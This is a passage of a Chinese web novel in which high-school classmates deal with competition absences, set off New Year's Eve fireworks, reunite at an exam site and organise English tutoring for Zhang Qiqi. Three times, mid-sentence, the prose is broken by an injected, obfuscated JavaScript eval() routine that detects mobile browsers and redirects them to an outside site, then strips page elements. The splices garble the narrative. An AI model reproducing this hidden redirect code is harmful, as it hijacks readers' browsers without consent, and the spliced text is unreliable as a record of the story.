看着他俩空荡荡的座位,张期期、许兰亭这些天肉眼可见的神情低迷,萎靡不振…… 张期期长长地叹了一口气,嘟嘟囊囊道:“也不知道陈恕什么时候回来……他好像只参加了数学、化学这两科吧。” 许兰亭:“不知道。林听什么时候回来呢?应该要更久吧……” 路过的周嘉先笑了一声,他依次拍了拍两人的肩膀,笑道:“望夫石、望妻石啊你们俩。” 许兰亭拍开他的手,呸了几声,“瞎说,不吉利!” “好好好,我走我走,可以吧?”周嘉先赶紧溜回自己的位置,他斜眼看了一旁趴在桌子上低气压的两人,啧了两声。 - 高二年级组办公室。 教导主任此刻正坐在张扬的桌子旁,他将考勤表翻开,越看脸色越沉。 他指着考勤表上陈恕、林听两人的名字,指尖咔哒咔哒地敲了几声,“这俩个学生是怎么回事?为什么请了那么多天的假!” 张扬瞥了一眼,“他们两人去参加省里的竞赛了。” 教导主任:……“竞赛?我怎么不知道有竞赛?而且我们五大学科的竞赛不是前阵子才刚结束吗?” 张扬顿了顿,艰难道:“私立学校举办的竞赛。” 教导主任顿时双眼一瞪,大声道:“那种竞赛有什么好去的,快期末了,今年是全省统考,我们要抓紧时间争取在这次的统考里考出好的名次!” 他指尖用力戳着课桌,道:“特别是陈恕、林听,他们两人是高二年级的精英学生!有机会冲刺这次省考前端名次的!你……你怎么能在这时候让他们请假,让他们分心呢?” “把他们给我叫回来!叫回来!” 张扬抿着唇,神色淡淡的任对方说着,等教导主任说得口干舌燥了,他才端了杯水递给对方。 教导主任顿了顿,还是接过了水,他喝了水之后,神色缓和几分。 张扬这才道:“您不用担心,这两个学生都是有分寸的,旁人我可能不放心,他们俩很稳的。” “放他们出去竞赛也行,多积赞一些竞赛经验也挺好的,陈恕这学生还参加了明年五大学科的竞赛呢,这是个机会……” 十分钟后,张扬终于送走了教导主任,他深呼了一口气,瘫坐在椅子上靠着,一副魂游天外的神情。 半响后,他冷哼了一声,叫回来?凭什么啊!人家在外面参加竞赛要是得奖那可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313839|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有奖金的,哪像他们学校,真抠! 哼了一声后,张扬又长长地叹了一口气,京照一中内的学生非富即贵,就算再不济也是普通家庭,但他的班里……林听、陈恕这两人的家庭情况他是知道个大概的,多好的孩子啊,明明在这个年纪只要好好学习就好了,但他们俩却得为生活奔波。 * 今天是这一年的最后一天,明天是周六也是元旦,京照一中像放周末一样放了两天的假期,这让一中的学生直呼亏了一天。 林听没在,许兰亭也就没有骑自行车,反而选择蹭张期期家的汽车一起回皇家园林别墅区。 两人坐在后排各自望着窗外的景色,路灯早早就亮了起来,橘黄色的光晕韵浓,路上行人匆匆忙忙地顶着寒风走着。 许兰亭:“今天晚上是跨年夜!” 他侧首看向张期期,“你打算出去跨年吗?向川、杨夏他们问我们去不去?” 张期期想起去年他们一行人在金河湾广场上倒数跨年时的情景立刻拒绝:“不去,我回家陪我爸妈。外面挤死了,回来肯定堵车,你忘了去年了吗?” ……去年,他们凌晨三点钟才回到家里!堵了三小时的路程…… 许兰亭顿时一个哆嗦,“算了算了,我也不去了。” - 汽车开进了皇家园林别墅区,张期期、许兰亭各回各家。 张家。 张期期进屋的时候发现玄关处的地板上堆着一箱子的东西,“怎么东西堆在门口,不拿进去啊?” 她低声嘟嘟囊囊着,顺手将书包放在玄关处的柜子上,打开了箱子。 “哎呀……这是仙女棒、烟花筒、响炮……” 张期期惊讶地大喊了一声,“爸、妈、莲姨……你们在吗?” 戚和风、张世明的脚步声从楼梯传来,莲姨也打开房间门走了出来,“哎,期期回来了?那我得去把菜炒了。” 她急急忙忙地进了厨房,张期期还未开口的问题咽了回去,算了……爸妈也下来了,问问爸妈就行。 没几分钟,戚和风、张世明就下来了,“期期回来了?” “嗯!”张期期跑过去拉着她爸妈坐在客厅的沙发上,她笑着问,“爸妈,你们怎么买了烟花爆竹回来?个人不是禁止放的吗?” 戚和风笑道:“你爸爸买回来的。” 张世明笑呵呵道:“往年都是禁止的,但总是有人偷偷燃放导致出现火灾,所以今年政府直接开放了河滨路给市民燃放。” 河滨路,顾名思义就是河边的一条人行道,这条人行道非常宽敞,确实是市民燃放烟花的好去处,靠着水,又没有树木,不至于发生大型火灾。 河滨路正好离皇家园林别墅不远,开车大概十几分钟就打了。 “哇——”张期期开心地哇了一声,“爸妈,那我们吃完饭就去放烟花。” 戚和风笑着点头,张世明眼眸一闪,“期期,你要不要叫上兰亭、向川他们啊?” 这话一出,戚和风嘴角的笑容顿时一僵,若不是他和她透过底,她或许只会觉得几家人住得近,一起叫上也没什么。 但现在,只要涉及陆家、许家,她总是忍不住想得多了些,有时候她甚至分不出来她的丈夫到底是真的疼爱女儿还是别有用心…… “好。”张期期笑着点头道。 62. 第 62 章 - 河滨路。 张世明找了个地下停车场将车停好后,才坐着电梯上到地面来。 戚和风、张期期还有许兰亭、陆向川都站在出口处等着他,他们的脚下堆着一箱的烟花爆竹,他们两人是坐着张家的车一道过来的。 陆家父母并不在家,出差去了,而许敬亭则是对燃放烟花爆竹没有兴趣。 电梯门一开,张世明走了出来,“还好先让你们下车了,里面没几个空车位,我兜圈子找了很久。” 戚和风笑道:“没办法,实在太热闹了。” 河滨路这一段路限制车辆通行,只有走路进去的行人,他们来的时候就看见一群群人往河滨路走过去,人流汹涌。 陆向川看了眼脚下的箱子,蹲下身搬了起来。 张世明见状,笑了一声,“给叔叔吧,叔叔来搬,你们小孩子好好玩就是。” 陆向川还未来得及说什么,箱子已经被搬了过去,张世明:“走吧。” 张期期笑着道:“走咯~” 张家夫妻走在最前面说说笑笑着,寒风吹拂而过,将前方的说笑声带了过来,陆向川听见了他们的笑声。 张期期、许兰亭各走在他的身侧,左顾右盼地看着…… 他好像融入了人群的欢愉之中,跨年夜家中的清冷也随之散去,陆向川嘴角扬起。 他们找了个稍微人少的地方,将箱子放在地上,张世明拿了一个打火机给张期期,“玩可以,但小心点啊。” 张期期笑着点点头,和许兰亭、陆向川打开了箱子,将里面的烟花筒拿出来打。 周围都是噼里啪啦的爆仗声,“xiuxiuxiu.”“砰砰砰”的烟花爆鸣声…… 许兰亭大声喊道,“张期期,你行不行啊?不行我来点……” 张期期白了他一眼,也大喊:“你快走开点,我自己会点。” 陆向川半俯着身看着她,她的手抖了又抖,一直没点着,她一打打火机,手迅速一收,一副准备开溜的样子,然而火苗根本就还没碰上烟花的点燃线。 “要不要我来……”他大声喊道。 张期期也终于妥协了,喊道:“你来。” 她将打火机塞给陆向川,气得一旁的许兰亭跳脚,“你怎么不拿给我,我来点啊!” 张期期喊道:“你手还没好呢,还是算了吧。哈哈哈……” 说话间,陆向川已经点燃了烟花的点燃线,他扯了一把张期期、许兰亭,将两人扯离点燃的烟花筒。 片刻后,点燃线燃烧完,随着一声“xiu”,烟花冲上天空,“砰”……绚丽的烟花绽放在天空中,一声又一声,此起彼伏。 张期期、许兰亭、陆向川玩了近一个小时,才将箱子里的烟花爆竹打完,这其中张世明、戚和风也打了几次。 河滨路大多是年轻人或者情侣一起来,倒是很少见到一家人一起的,而张世明、戚和风这个岁数跑来和年轻人一起打烟花的更是少。 张世明也不介意旁人的眼光,他拿着手机,笑着走向一个年轻的男生,道:“你好,可以帮我们拍张照吗?” 男生愣了一下,接过手机,随即道:“好啊!” 张世明揽着戚和风的肩膀,招呼着张期期、许兰亭、陆向川过来一起拍照。 张期期笑着跑到戚和风的身边,揽着对方的手臂笑嘻嘻的,而许兰亭则是面露不好意思,眼神犹豫。 陆向川倒是直接想走过去,然而被许兰亭扯住了,他压低声音道:“人家一家人拍照,我们过去干嘛?” 他眼神一顿,看着那边其乐融融的一家人之间的氛围,眼底闪过一丝渴望、羡慕。 张世明又招了招手,喊道:“兰亭、向川快过来!” 帮他们拍照的男生也跟着看着他们俩,眼神催促着。 无奈,许兰亭只好道:“来了来了……”他拉着陆向川跑过去,站在了张期期的身边。 而陆向川则是站在了张世明的身边,少年嘴角扬起弧度,看向了镜头。 “咔嚓”一声,照片定格。 - 天空中满是五颜六色、耀眼美丽的烟花,河滨路的人纷纷抬头一脸沉浸、着迷的样子。 绚烂的花火倒映在人们的眼眸中,带着对新一年的期许,人群开始倒数…… “10、9、8……” “3、2、1……” “新年快乐……” * 次日,元旦。 早上十点多,冬日的暖阳大片大片地倾泻进下来,落在房间内的木质地板上。 张期期起床进卫生间洗漱后,换了一身衣服出来,今日元旦,绘画培训班也不上课,所以张期期打算出门溜达溜达。 她下了一楼,吃了莲姨温在锅里的早餐之后就出了门。 今日气温很低,但好在没风又出了太阳,所以别墅区内出门散步的人比以往要多,小孩子嬉笑打闹着,上了年纪的老人家则在一旁面带微笑地看着。 张期期慢悠悠地走出了园林别墅区,坐上了公交车直达市中心。 半个多小时的公交车程,她站在上面晃晃悠悠,被人群挤来挤去的,等她回过神来时,她已经到了学校附近的公交车站,陈恕兼职的山地车专卖店就在这附近。 ……也不知道他从省内回来没有?回来了又上不上班?张期期心道,她虽然不确定,但还是选择过去看看。 走路十几分钟就到了,她隔着整面的玻璃看着前台处背脊挺直的少年,少年修长的指尖迟钝地在电脑键盘上打着字。 店内开着灯光,少年长又密的睫毛在脸上投下两小片的阴影。 张期期微笑着看着他,想看看他什么时候能发现隔着窗玻璃的自己,然而这一思绪落下时,玻璃那侧的少年蓦然转过头来。 四目相对下,少年一愣,张期期灿然一笑。 她眼珠子滴溜溜地转动着,打量了整个山地车专卖店一眼,发现店老板没在,这才背着头装模作样地踏进了店内。 陈恕眼眸中闪过笑意,道:“欢迎光临。” 他的话音一落,两人都笑了出来。 张期期快步走到前台处,手臂搁在桌面上,“你回来了?考完了?” 陈恕点头,“嗯。我只考了两科,所以考完就回来了。” “考得怎么样?” “还不错。” 张期期点点头,又问道:“你看到林听没有,她呢?你知道她什么时候回来吗?” 陈恕:“嗯。看见了。”他顿了顿继续道:“但我不知道她什么时候回来,我没有问,如果她全部都考的话,估计要一周后才回来。” “这样啊……那好吧。” 话说完,店内顿时安静下来,张期期眨了眨眼睛,突然笑着道:“元旦快乐,新年快乐啊陈恕。” 陈恕指尖微微一动,新年……新的一年,是,新一年的他和过去再无任何交集,那连绵的大山已经被他抛在了身后,他的身前是笑意盈盈的少女。 “新年快乐。”他道。 * 与此同时,许兰亭坐上了前往省里的大巴车,两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328358|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时后时值中午,他终于下了车。 这场竞赛是几所私立学校联合举行的,许兰亭在网上找到了考场地址,一下车就往这边赶过来。 然而与他想象的人满为患不同,考场门口冷冷清清,寒风呼呼吹着,一个人都没有。 许兰亭皱起眉头,嘟囔着,“难道是正在考试,所以没人?” “今天不考试。” 他身后猛然出现一个男人的声音,许兰亭吓了一大跳,转身看过去,是穿着制服的保安,对方手上正拎着饭盒,想来是刚好去买饭了。 许兰亭笑着道:“大哥,今天怎么不考试啊,不是连续考很久吗?” 这是他查到的消息,林听要考那么多科目,每一科接着每一科,每一科都有三场考试,初赛、复赛、决赛。 男人上上下下打量了许兰亭一眼,哼笑一声,“什么大哥?你该叫我叔叔。” 许兰亭从顺如流,改口道:“叔叔好。” 男人拎着饭盒走入保安室,许兰亭跟在他的身后,对方道:“今天元旦,本来确实也还是考的,但昨天有个学生考着考着晕倒了,救护车都来了……” 他压低了声音道:“这事闹得太扎眼了,今天刚好又是元旦,所以临时决定今天放一天假,明天接着考。” “救护车都来了?”许兰亭震惊。 “可不是……现在的学生啊,压力可真大啊!”男人摇了摇头,叹道。 许兰亭又问了参加考试的学生大多住在哪里后,就告别了保安大叔,往附近那一片稍显破旧的酒店、餐馆走去。他打算碰碰运气,看看能不能遇见林听。 许兰亭找了家餐馆坐在门口的桌子上吃着饭,眼睛一直盯着路上来来往往的行人。 这些行人大多是各地过来的考生,殊不知在这些考生中,许兰亭显得尤其扎眼,毕竟只有他吊着一只胳膊。 “又是一个狠人呐!快看那个同学,吊着一只胳膊还来考试,啧啧啧……” “是啊!昨天救护车拉走了一个同学,听说上救护车的时候他醒了,非要下来继续参加考试呢。” “……哎,我知道他,真是凑巧,化学、数学我几次考试都和他一个考场,听说他原本准备每一科都参加的……” …… 许兰亭本来无所谓别人猜测什么,但他一听这话,顿时联想到林听就是准备每一科都参加的,他一下子瞪大眼睛,饭都不吃了就站起身来。 ……不会那个上救护车的同学是林听吧? 这么一想,他更是着急起来,连忙结了账往外追去,只是等他出了餐馆,方才说话议论的那两个同学却不见了人影。 许兰亭面色着急,想了想选择回到考场门口,他想问问那个保安看看对方知不知道上救护车的同学是谁,若真的是林听的话,他也得问问对方去了哪个医院。 寒风呼呼吹着,头顶的太阳被浓云遮住了,气温一下子降了下来。 许兰亭闷头走着,身后却突然传来一声迟疑的呼唤声,“兰亭?” ……这声音?林听! 许兰亭猛然侧首,循声望过去,少女穿着一身中长款的黑色羽绒服,头戴着卡其色的毛绒绒帽子就站在道路的另一侧。 “林听!”他惊讶喊道,提着的心终于缓缓落地,他眉眼飞扬地向着她跑过去。 少年站在林听的面前,即便他吊着一只胳膊,浑身却还洋溢着肆意张扬的气息,仿佛就是这个冬日里为数不多的暖阳。 而这片暖阳在这一刻照耀在了她的身上,林听听到他说,“新年快乐……” 63. 第 63 章 - 等林听参加完所有的考试回来之后,还真是又过了一周。 张期期手臂交叠着放在课桌上,她神色懒散,下巴支在手臂上发着呆。 张扬“神出鬼没”一样突然出现在教室后门观测着班里的早读情况,他看了看又顺着走廊直走,从窗户看进去,其他学生都认认真真地埋头读着,唯独张期期像个愣子一样发着呆。 张扬气得胸膛起伏着,但他现在主要是来找林听的,便压下了心头的怒气。 走到教室前门,他指骨扣了扣教室门,学生们下意识地望过来,张扬便道:“林听,出来。” 林听一顿,点点头,她微垂着眼帘心情忐忑地走出教室,张扬就站在走廊远离教室的那一侧。 她顺手关上教室门,走到对方身前,低头喊了声,“张老师……” 张扬拧了拧眉心,心中无奈地叹了一口气,但面上还是佯装严肃,他一本正经道:“林听,你这次实在是太不像话了,请了那么多天假,而且居然还是先斩后奏的。你已经在教导主任那里挂上名了你知道吗?” 林听微微垂眸,“嗯,我知道。张老师,但是我……我……”她说着,声音渐渐低沉,“我没有办法。” 她看着张扬,“我需要钱,我不能、不能……”不能奶奶需要钱的时候,她拿不出来…… 张扬摸了摸头顶,视线越过眼前的林听,望向朦胧的天际,“这次教导主任那儿我给你搞定,让他给你批假。下次……下次别那么老实了。” 京照一中的规定便是三天以上的假条要教导主任签名才能批准,三天及三天以下的,班主任就能自行签字了。 林听一愣,下意识道,“谢谢张老师。”她的眼神充满迷惑不解。 张扬以为对方听懂了,收回视线低头,却见林听还是一副懵懂的样子,他皱了皱眉头,话不能说得太直接了…… 正在谈话的张扬和林听并没有发现教室的窗户偷偷打开了一条缝,张期期和许兰亭两人头叠着头挤在那条缝隙后,偷偷偷听着张扬和林听的谈话。 陈恕看着许兰亭蹲着马步,张期期惦着脚尖的样子,眼底闪过无奈,偷听就算了,这两人的姿势一定要这么别扭吗?矮个子的她非要将头叠在许兰亭这个高个子上面。 重点一班的同学对这两人的骚操作已经是见惯不惯了…… 此时的张期期、许兰亭见林听一脸迷惑的样子,顿时恨铁不成钢,张期期脱口而出,“就是说你可以请几次假,每次请三天,就不需要教导主任签名了啊!” 她脱口而出的瞬间,许兰亭迅速蹲下身子,只剩下隔着窗户与张扬面面相觑的张期期:…… 张期期心中气急,脸上笑嘻嘻,她偷偷踹了一下蹲在她腿边的许兰亭。 许兰亭闷着受了这一脚,半蹲着移动回自己的座位上。 他刚坐下时,便听到走廊张扬怒道,“张期期,你给我出来……” - 张扬让林听先回教室,她和张期期错身而过时,目露担忧。 张期期小声道:“没事,我习惯了……别担心。” 耳尖的张扬听到了这话,露出似笑非笑的神情,“哟……你还习惯了?” 张期期瞬间闭嘴,垂下头,做出“乖巧”的认错模样,这一连串的行为倒把张扬气得差点心梗。 接下来,重点一班的同学就听到了张扬的咆哮声,“张期期!期末全省统考,你要是没给我拿到个好的名次,你就把家长给我叫来!” “叫家长!听到没有!” 张期期瞄了张扬一眼,弱弱地试探着问道:“好的名次是……全省100名附近?” 张扬眉眼一沉,哼了一声,“你也不嫌丢脸!” 京照一中是重点高中,在全省的高中里排名第二,只有省金中压在一中的头上,而张期期身为重点一中重点一班的学生,要是只能考100名附近的名次,那一中重点一班的含金量可就要被质疑了。 “全省十名以内!考不到全省十名以内,你看我怎么收拾你!” 张扬留下这句咆哮,施施然地离开了,剩下张期期站在原地目瞪口呆。 ……全省十名以内?张老师这是压根不将省金中放在眼里啊! 张期期颓然走进教室,从教室门口到座位这段短短的距离,她接受了来自班里同学同情的目光。 - 下课铃声响起,张期期在座位上唉声叹气着,全省十名全省十名啊,她这几次的月考成绩都非常稳定地徘徊在年级十几名左右啊!这简直是在为难她! 林听转过身来,想了想道:“全省十名以内,其实……期期,我觉得你并不是没有可能。” 张期期瞪大眼睛,“你敢说我都不敢听……” 她神色一言难尽,“我在我们学校都是十几名,这次省统考,省金中那些学生我跟你说他们都是学神来着。还有其他学校呢,就算他们学校排名比我们靠后,但每年这些学校都有好几匹黑马呢!” “前十的名额没有我!我还是想想张老师会怎么收拾我吧!唉!” 许兰亭幸灾乐祸地笑着,他拍了拍陈恕的桌子道:“学神?我们一中也有啊,这不就是嘛!你让陈恕教教你。” 陈恕此刻微蹙着眉头,闻言也开始分析张期期的成绩,他道:“像你的物理、数学这些学科到了一定的程度要再提升是很困难的,而且提升的空间也不大,你目前最重要的还是英语,你的英语……” 他话还没说完,张期期顿时大喊了声“停”。 陈恕抿着唇看她,她顿了顿,小声道:“我去上个厕所。”说完,她迅速地溜走了…… 陈恕:…… 这一幕被班里有心的同学们看在了眼底,他们眼眸微微转动,神色若有所思,一场围绕着张期期的“阴谋诡计”开始渐渐萌芽。 - 女生厕所。 洗手台的水龙头正开着,林听一边搓着洗手,一边在心里默默背诵着英语单词。 片刻后,她关掉水龙头,甩干手正准备离开厕所时却撞上了侯蕊和她的小伙伴们,几个女生一见她就拽着她往厕所里走,“等会等会,我们有事和你说。” 其中一名小伙伴甚至还站在厕所门口盯梢……场面神似“厕所霸凌”现场。 林听:…… 侯蕊放开扯着林听的手,双手把胸,抬高下颌道:“上次平安夜全班的苹果和糖果、巧克力这些都是张期期出钱送的,这事你知道吗?” 林听惊讶,“不是班长用班费买的吗?” 侯蕊扯了扯嘴角,“不是。” 林听惊愕地“啊?”了一声,片刻后她恍然大悟,“我想起来了……这学期我们好像没交班费。” 侯蕊点头,“嗯,上学期的班费也用完了。” 林听垂眸,这得多少钱啊,那些糖果和巧克力她一看就知道是非常贵的,但这事和现在侯蕊围住她有什么关系吗? 她顿了顿,低声道:“你们找我有什么事吗?” 侯蕊看了一眼厕所门外站着的小伙伴,见对方摇了摇头,这才低声道:“早上张老师对期期的要求你也听到了,全省十名以内,不然就让期期叫家长,叫家长这事多丢人啊,现在我们都高中了,谁还叫家长啊!所以……期期这次必须考全省十名以内。” “俗话说拿人家的手短,吃人家的嘴软,所以这次我们必须帮期期考到全省十名以内。” 林听一听,重重地点头,她与侯蕊四目相对,异口同声道:“英语!” 侯蕊压低声音激动道:“没错!我们大家准备教期期学英语。” 林听:? “我们大家?” 侯蕊重重点头,“对!我们大家!” 与此同时,男厕厕所。 王思、蒋文等人截住了刚好一起来上厕所的陈恕、许兰亭、周嘉先,将侯蕊这番话、这个决定同样再次说了一遍,并告诉他们这是重点一班全体学生的一致通过的决定。 许兰亭哐哐鼓着掌,激动道:“我同意!我加入!” 陈恕&周嘉先:…… * 张期期觉得最近他们班的同学好像都有点奇怪,他们时不时在炫英文,还在她的身边炫,她走过走廊、校道、食堂、教室……他们与她错身而过,错身而过的瞬间都在炫着英文,甚至还问她这个英语渣渣他们说得怎么样? 她皱起了眉头,沉思着,最近她没做什么“大逆不道”的事情,影响班级荣誉了吧?没有啊……唔……没有的话,为什么班里的同学要用英语对她进行“语言暴力”? 张期期将椅子轻轻挪到陈恕的身边,她靠近他,手掌轻轻捂住嘴巴,压低声音道:“陈恕,我最近是做了什么事惹得班里的同学不开心了吗?不然他们为什么一直对我说英语?” 她说话的同时,眼珠子转来转去地扫视着班里的同学,神色忐忑不安。 陈恕闻言一顿,余光瞟向身旁的少女,他皱起眉头,为什么她会这么觉得……这明明是班里同学们的第一步计划——激起张期期对英语的兴趣以及为她创造英语语言环境。 他无言片刻,道:“可能是为了省统考的英语在做准备。” 张期期愣了愣,心道也是,这一次的省统考完全参考高考的标准,英语是要考听力和口语的。 - 连续几天后,重点一班的同学宣告第一步计划失败!他们并没有激起张期期对英语的兴趣,且每一次她遇见他们在讲英文时,都投去了鼓励的眼神…… 重点一班的同学:…… 侯蕊绷着脸,冷森森道:“既然第一步潜移默化的计划失败,那么只好使用强硬的手段了!” 林听看着一脸“反派角色”的侯蕊,内心有些无措,她弱弱问道:“多强硬的手段啊?会不会不太好啊……” 侯蕊哼了一声,恨铁不成钢的样子,“你想让她被叫家长?不是我说,我们京照一中好像没听说过谁会被叫家长耶,你想让她成为第一个?” 林听脑补了一番,赶紧摇摇头,“不。” “那不就成了!” - 第二步计划开启…… 周五早上。 张期期、陈恕、许兰亭、林听四人刚一进入教室,周嘉先手一挥,教室内的同学们突然呼啦啦地全部站了起来,教室前后门关上关上、教室窗户锁上锁上,他们分成两排站立在教室靠墙两侧,几十双眼睛盯着张期期看。 张期期被这个阵仗唬了一大跳,她下意识的攥住身旁陈恕的手臂,往后退了一步躲在陈恕的身后,片刻后,她微微探出头来,“不是……你们在干嘛呀?怎么这个阵仗啊?” 侯蕊双手抱胸,施施然地走到讲台上,“我们准备开个会!” 她点了点头,道:“张期期,请你坐回你的位置上。” 张期期一头雾水地扫了一圈班里的同学们,只见大家一脸正经的模样,她彻底懵逼了……不是,这到底在搞什么鬼啊? 一旁的陈恕心中轻轻叹了口气,也不知道跟着他们瞎来到底有没有作用,但少数服从多数,他认命道:“我们坐回座位上吧,你看看就知道了。” 张期期顿了顿,她看看就知道了?这是关于她的事情? 她坐在了椅子上,下意识地双手交叠,一幅“乖乖”的样子。 侯蕊扬声道:“你们上来。” 张期期啊了一声,你们……是谁啊? 这时,林听、许兰亭一脸平静地走到讲台上,张期期愕然……这个“你们”是许兰亭、林听? 侯蕊盯着陈恕看了一眼,见陈恕固执又坚持地站在张期期左侧身后,她摆了摆手,一副算了的模样。 张期期回头看了一眼陈恕,又看了看在讲台上已经笑起来的许兰亭,眉头狠狠皱起。 许兰亭眉飞色舞,突然大喊了一声:“升堂!” 靠着站立在墙两侧的同学们下意识地接上了一句“威~武~” 班里的同学反应过来后,顿时笑成一团,周嘉先一脸嫌弃地捂住了脸,片刻后他抹了一把脸,道:“别皮了……继续。” 一脸状况外的张期期:? 侯蕊一本正经地点头,“继续!好!有请我们的PPT。”她说着将讲台上的多媒体设备打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林听眼神鼓励地看了一眼张期期后,开始分析道,“我们先看期期每一次的月考成绩,嗯……先排出英语这一科目之后,其他各科的成绩都是接近满分的程度,这样的各科成绩与省金中第七的李同学差不多,那么期期要想考过这位李同学的话,英语必须接近这位李同学的分数,或者说是超过!” 张期期也神色认真起来,李同学……她看了一眼对方的成绩单,找到英语这一门科目…… 张期期大惊失色……满分150,对方123,那她岂不是要考123以上??她想到自己徘徊在及格边缘的英语分数时,顿时感觉晴天霹雳不过如此了。 这一刻,她只差拔腿就跑了。 林听继续点击鼠标,张期期英语这一科几次月考的成绩失分点最严重的在哪些题目上都一一标注了出来,好几张PPT一张又一张地呈现在众人眼前。 张期期拔腿的动作一顿,她僵住了,任谁都看得出这些PPT花费的心思。她抿了抿唇,两手食指指尖不安地搅着。 林听又放出了几张PPT,她道:“这是班里的同学们针对这些失分点认为期期最有可能是因为什么原因失分,原因都在这上面了……期期你看一下。” 张期期焦灼不安地坐着,这个PPT的工作量真的很大,原来是班里的同学们一起努力给她找出来的原因…… 她抬眸望着ppt上的条条原因,以及……补救措施。 张期期大惊失色,不是……不是……这补救措施是不是太不把她当人看了?这一天背上百个单词、固定搭配等等……这也太多了吧…… 她默默站起来,笑着道:“我想去上个厕所,呵呵……” 她那心虚的模样,侯蕊顿时脸一板,“不!你不想!” 张期期看着“虎视眈眈”的同学,又心虚地坐了回去,“其实……我也不是很急啦。” 侯蕊这才满意地哼笑了一声,“林听,继续。” 林听猝不及防地对上张期期“求饶”的眼神,她顿了片刻,微微垂下眼眸收回视线,再次点了点ppt,硬着头皮道:“距离省统考还有一个多月,我们班排除期期,还有40人,所以……这是我们排出来的表格,每人一天负责跟进期期的英语补习进程。” 张期期看了一眼密密麻麻的补习表格,整个人完全生无可恋了……救命!天要亡她啊! 与她的生无可恋形成鲜明对比的是重点一班的学生,他们每个人显得精神抖擞、一副准备大展手脚的模样。 张期期忐忑举手,“学习要劳逸结合,我想申请一天补习英语,一天休息……”她越说,语气越弱。 侯蕊冷笑,“你的请求……呵……驳回。” 重点一班的学生齐刷刷地看向张期期,张期期顶着他们的目光,心一横,只能答应了,“行行行,就按你们说的办。” * 补习程序当天就开始了…… 第一天给张期期补习英语的正是陈恕,陈恕从桌柜里抽出来一份复习资料递给了张期期。 资料上面是一百个英语单词、一些固定搭配,一些能够用在英语作文上面的好词好句、以及课外拓展单词,这正是张期期最薄弱的环节,她的英语单词储备量完全不够,导致她甚至看不懂英语句子在说什么。 “陈恕!”张期期瞪着大眼,气呼呼道:“你早有准备了!这资料……没两天准备不了吧!” 陈恕抿了抿唇,这份资料他很久之前便准备好了,只是当时他只是和她说了一个英语固定搭配之后,她就误会他要教她学英语而生生躲了他好几天。 这一刻,他内心悄然升起一股惶惶不安的感觉,少年眼神无措,整个人显得坐立不安一样,“你……你别生气。我……” 张期期见不得他这副模样,心中的郁闷一下子消散了,她努了努嘴,趴在复习资料上,“我没生气……就是真的好难啊……我想到要学英语,就觉得好烦呐。” 陈恕望着一脸烦闷的少女,他指尖微微攥了攥,低声喊道:“期期……” 他极少极少这样喊过她的名字,多是连名带姓唤她张期期,张期期一滞,蓦然回首看他,少年抿了抿,继续道:“如果你顺利地背完这些复习资料,我可以答应你一个要求。怎么样?” 张期期眼眸盛满笑意,惊讶道:“真的?” “嗯。真的。” 少女哼笑一声,气势瞬间拔高,大有睥睨天下的模样,“区区英语单词,肯定难不倒我张期期!” 少年闻言,眼底闪过丝丝笑意。 64. 第 64 章 - 放学铃声响完后,张扬瞥了一眼讲台下的学生们,顿觉诧异。 因为以往放学铃声一响,这些学生一个个屁股都移开了椅子上,一副拔腿就跑、心都飞了的模样,但是今天……他们怎么这么好像“稳如老狗”一般。 张扬眉毛一扬,笑道:“怎么?放学了啊!没听见铃声?” 张期期环顾教室四周,一副心虚的模样,她再偷偷瞥了一眼一旁的陈恕,见对方正埋头做题,便屏住呼吸,拎起书包,蹑手蹑脚地站了起来。 张扬皱着眉头,疑惑地看着张期期这番动作。 恰在此刻,教室里蓦然响起了此起彼伏的咳嗽声,陈恕也转头望向张期期的方向,张期期整个人浑身一颤,丝滑又迅速地坐回了自己的位置上,翻开书本,埋头“苦读”,整套动作一气呵成。 张扬:? 他道:“你们在搞什么鬼?” 许兰亭笑得腰都直不起来,“张老师,我们全班都在督促期期学英语呢!她今天的任务没完成可是不能回家的!哈哈哈……” 张扬闻言一顿,随后意味深长地笑了,“不错不错。同学们之间互帮互助,共同成长。” 说完,他对着班里的同学们眼神充满鼓励地点点头,随手挥挥手,脚步轻盈、心情舒畅地走出了教室。 许兰亭拍着桌面哈哈大笑,“互帮互助,老班估计想说恶人自有恶人磨吧!哈哈哈……” 他笑着笑着,发现班里的同学们转过头来瞪着他,许兰亭顿时一噎。 周嘉先无奈地捂了把脸,他这是把张期期、把他自己,还有全班同学一起给骂了啊! 张期期白了许兰亭一眼,“狗嘴里吐不出象牙来。” 少女气哼哼地翻阅着手中的英语资料,嘴里叨叨叨念着,班里的同学时不时转过来看她一眼,看得张期期心里压力越来越大。 教室上的秒针咔嚓咔嚓地走动着,良久,陈恕转过身来,他抿了抿唇,低声问道:“记完了吗?” 张期期眼底闪过挣扎,片刻后突然丧气道:“我也不知道,试试呗。” 陈恕点头,将椅子搬到了她的桌子旁,拿过桌面上的复习资料,“嗯,背吧。我说中文意思,你背英语,还有拼出来。” “哦…来吧。”张期期下巴搭在手臂上,整个人趴着嘟囔道。 陈恕:“第一个单词:传统的。” 张期期:“tradition,t-r-a-d-i-t-i-o-n” “……” 